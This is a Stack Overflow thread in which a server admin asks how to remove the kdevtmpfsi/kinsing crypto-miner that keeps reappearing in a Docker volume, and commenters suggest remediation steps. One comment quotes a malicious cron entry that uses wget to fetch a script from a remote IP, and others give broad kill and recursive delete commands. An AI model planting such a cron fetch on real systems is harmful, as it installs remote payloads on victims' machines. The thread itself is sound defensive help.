25

enter image description here

I saw in my Linux (Ubuntu) server processes, called: kdevtmpfsi. It utilized 100% of all CPUs and RAM...

1) Tried to find a word in linux files:

find / -type f -exec grep -l "kdevtmpfsi" {} +

2) And found a file in the docker _data folder:

/var/lib/docker/volumes/d2076917e9f44b55d1fbfe2af6aca706f3cc52ca615e5f5de1ae1fdb4a040154/_data/kinsingj2BpMsGgCo

3) It is called like sha-ashed file: kinsingj2BpMsGgCo. So I removed it:

rm /var/lib/docker/volumes/d2076917e9f44b55d1fbfe2af6aca706f3cc52ca615e5f5de1ae1fdb4a040154/_data/kinsingj2BpMsGgCo

4) And restarted my server:

restart

But it doesn`t works. It copy new file in docker _data container and runs when docker starts...

Does anybody know what to do with it?

UPDATE:

We have killed that miner with dext steps:

  1. First of all - close redis ports on your server or add a password.
  2. Remove from crontab command with .sh instructions
  3. Delete hashed file from docker/{{volume}}/_data folder
  4. Delete tmp/kdevtmpfsi file
windyzboy
  • 1,358
  • 16
  • 20
Vladimir
  • 441
  • 1
  • 4
  • 14
  • Maybe that container was installed with Docker Swarm ? If so, take a look at the answer in this post : https://forums.docker.com/t/why-the-containers-are-being-recreated-and-they-can-not-be-removed/55560 – Storm Dec 26 '19 at 10:39
  • 2
    @Storm Thanks for your comment. I think, that some of containers in docker repository have a virus with mining software. Couse it starts every time when docker redis-server runs... =( Next it coping hashed file in docker data and runs it... – Vladimir Dec 26 '19 at 10:49
  • 1
    Is there also another suspicious file at `/var/tmp/kinsing` in your system? As well as a malicious `cron` entry? Try deleting those if you find them. Otherwise you might be better off deleting the container that brought that virus in the first place... – Storm Dec 26 '19 at 11:09
  • 1
    @Vladimir I'm pretty sure your Redis is available from the Internet. Attackers use it to run miners. Close the port. – Dmitry Pugachev Dec 27 '19 at 10:35
  • Check the crontab, same miner is also bothering me. It creates a crontab for itself but removing it is no use. Still getting it after a fresh install. ps - I don't use docker. – Nandesh Dec 30 '19 at 05:54
  • Did you manage to remove it? same issue here – AimiHat Jan 05 '20 at 00:16
  • @AimiHat Yes, we killed it. 1) First of all - close redis ports on your server or add a password. 2) Remove from crontab command with .sh instructions 3) Delete hashed file from docker/{{volume}}/_data folder 4) Delete tmp/kdevtmpfsi file – Vladimir Jan 16 '20 at 23:40
  • @Dmitry Pugachev thank you – Vladimir Jan 16 '20 at 23:41
  • @Nandesh thank you – Vladimir Jan 16 '20 at 23:41
  • 1
    @AimiHat could you please describe step 2 Remove from crontab command with .sh instructions 3 ? – hossein derakhshan Jan 21 '20 at 10:40
  • @AimiHat - view your cron in the LinuxServer, to view all scripts use bash command: crontab -e; If you will see there smth like: `* * * * * wget 196.33.16.55:3000 -o somescriptname.sh` or simillar - it means, that cronmanager copy and run a bash script, which probably runs a virus or miner script... – Vladimir Jan 21 '20 at 14:32
  • 2
    So, if this is plaguing you even after all of the above, you might have an unpatched PHP Remote Code Execution vulnerability. It's detailed here, and it solved the issue for us. https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487 – Steven W. Disbrow Feb 18 '20 at 18:34
  • 3
    In my case, it was because I left port 9000 open on my PHP-FPM container. – nicbou Nov 26 '20 at 10:47
  • I fixed it changing the 9000 PHP-FPM port to another. It seems to be a vulnerability because of the default port. I did this: kill -9 $(pidof kdevtmpfsi) kill -9 $(pidof kinsing) kill $(pgrep kdevtmp) kill $(pgrep kdevtmpfs) find / -iname kdevtmpfsi -exec rm -fv {} \; find / -iname kinsing -exec rm -fv {} \; rm /tmp/kdevtmp* rm /tmp/kinsing* Rebuild your docker image too!!! – Cris May 23 '23 at 06:27
  • Also faced same issue today. It turned out the kinsing file was created under /etc/data/ Further, corntab was also having sh file entry. – Karan Sharma Jul 26 '23 at 17:39

0 Answers0